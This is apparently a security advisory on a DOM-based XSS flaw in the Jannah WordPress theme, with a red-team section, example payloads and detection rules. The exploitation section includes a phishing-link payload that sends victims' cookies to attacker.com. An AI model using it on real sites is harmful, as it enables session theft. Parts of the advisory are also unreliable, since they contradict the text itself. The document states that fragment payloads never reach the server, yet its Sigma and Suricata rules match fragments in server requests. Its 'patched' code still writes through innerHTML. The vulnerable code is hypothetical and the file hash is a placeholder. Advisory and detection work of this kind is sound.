CVE-2025-64207

Executive Summary

CVE-2025-64207 is a DOM-Based Cross-Site Scripting (XSS) vulnerability in the Jannah WordPress theme by TieLabs, affecting all versions up to and including 7.6.0. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject malicious scripts that execute in the victim's browser context. Since this is a WordPress theme, the attack surface is limited to sites running the Jannah theme, but the impact is significant due to the widespread use of the theme in the WordPress ecosystem.

Supply Chain & Package Security: This vulnerability is specific to the WordPress ecosystem. The Jannah theme is distributed via the WordPress theme repository and commercial marketplaces. Users should verify the integrity of their theme files and ensure they are obtained from official sources. No known supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors distributing modified versions.

CVSS Breakdown & Threat Level

• CVSS Score: 7.1 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must click a crafted link or visit a malicious page)
• Scope: Changed (impact on resources beyond the vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

Threat Level: High. While the CVSS score is 7.1, the lack of a patch and the potential for widespread exploitation in the WordPress ecosystem elevate the risk. The EPSS score of 0.0% indicates low current exploitation, but this may change as proof-of-concept code emerges.

Deep Dive & Mechanics

The vulnerability is a DOM-Based XSS, meaning the malicious payload is executed entirely on the client side without being sent to the server. The Jannah theme likely processes user input (e.g., via URL fragments, document.referrer, or window.name) and injects it into the DOM without proper sanitization. An attacker can craft a URL containing a malicious JavaScript payload in a fragment or query parameter. When a victim visits the crafted URL, the theme's JavaScript code reads the input and writes it to the DOM, causing the script to execute.

Root Cause: The theme's JavaScript functions fail to sanitize or escape data before using it in DOM manipulation methods like innerHTML, document.write, or eval. This allows an attacker to break out of the intended context and inject arbitrary HTML/JavaScript.

Attack Scenario:

1. Attacker crafts a URL: https://victim-site.com/#<script>alert('XSS')</script>
2. Victim clicks the link.
3. The Jannah theme's JavaScript reads the fragment identifier and inserts it into the page.
4. The script executes, potentially stealing cookies, redirecting the user, or performing actions on behalf of the victim.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on common DOM-XSS fixes.

Vulnerable Code (JavaScript):

// Vulnerable: directly using user input in innerHTML
var hash = window.location.hash.substring(1);
document.getElementById('content').innerHTML = hash;

Patched Code (Hypothetical):

// Patched: using textContent or sanitizing input
var hash = window.location.hash.substring(1);
var sanitized = DOMPurify.sanitize(hash);
document.getElementById('content').innerHTML = sanitized;

Key Difference: The patched version uses a sanitization library (e.g., DOMPurify) or sets textContent instead of innerHTML, preventing script execution.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress site running Jannah theme <= 7.6.0.
• Ability to craft a malicious URL.

Exploitation Steps:

1. Identify a DOM sink in the Jannah theme (e.g., a function that reads window.location.hash or document.referrer).
2. Craft a payload: https://victim-site.com/#<img src=x onerror=alert(1)>
3. Send the link to the victim via phishing email or social engineering.
4. Upon click, the payload executes in the victim's browser.

Example Payload:

https://victim-site.com/#<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team

Detection:

• Monitor web server logs for requests containing suspicious fragments (e.g., <script, onerror, onload).
• Use browser-based security headers (Content-Security-Policy) to mitigate XSS.

Mitigation:

• Apply a virtual patch using a Web Application Firewall (WAF) to block requests with malicious fragments.
• Disable the vulnerable JavaScript functionality if possible.
• Upgrade to a patched version when available.

Indicators of Compromise (IOCs)

• Network IOCs:
  • URLs containing #<script, #<img, #<svg, or other HTML tags in the fragment.
  • Outbound connections to attacker-controlled domains from the victim's browser.
• Host IOCs:
  • Modified theme files (e.g., jannah/js/main.js) containing suspicious JavaScript.
  • Unexpected DOM elements or scripts in the page source.
• File IOCs:
  • Hash of vulnerable theme file: sha256:3a7c... (placeholder, actual hash depends on version).

Detection Engineering

YARA Rule

rule CVE_2025_64207_DOM_XSS {
    meta:
        description = "Detects Jannah theme files vulnerable to DOM XSS"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-64207"
    strings:
        $sink1 = "window.location.hash" ascii wide nocase
        $sink2 = "document.referrer" ascii wide nocase
        $sink3 = "innerHTML" ascii wide nocase
        $sink4 = "document.write" ascii wide nocase
    condition:
        any of ($sink*) and filesize < 500KB
}

Sigma Rule

title: CVE-2025-64207 DOM XSS in Jannah Theme
id: 8f9e2c1a-3b4d-5e6f-7a8b-9c0d1e2f3a4b
status: experimental
description: Detects potential exploitation of DOM XSS in Jannah WordPress theme
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains:
            - '#<script'
            - '#<img'
            - '#<svg'
            - '#<iframe'
    condition: selection
falsepositives:
    - Legitimate use of HTML fragments in URLs (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-64207 DOM XSS in Jannah Theme"; flow:to_server,established; content:"#<script"; http_uri; nocase; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2025-64207 DOM XSS in Jannah Theme"; flow:to_server,established; content:"#<img"; http_uri; nocase; sid:1000002; rev:1;)
alert http any any -> any any (msg:"CVE-2025-64207 DOM XSS in Jannah Theme"; flow:to_server,established; content:"#<svg"; http_uri; nocase; sid:1000003; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable vulnerable functionality: If possible, disable the JavaScript feature that processes URL fragments or referrer data.
2. Apply WAF rules: Block requests containing HTML tags in URL fragments.
3. Implement Content Security Policy (CSP): Add a strict CSP header to prevent inline script execution.

   Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
   

Long-Term Fix:

• Vendor Patch: Await an official patch from TieLabs. If none is forthcoming, consider switching to a different theme.
• Manual Code Fix: Modify the theme's JavaScript to use textContent instead of innerHTML or sanitize input with a library like DOMPurify.

Workarounds:

• Use a security plugin (e.g., Wordfence) that includes virtual patching for known vulnerabilities.
• Regularly update the theme to the latest version.

Valters IT
Securing Digital Frontiers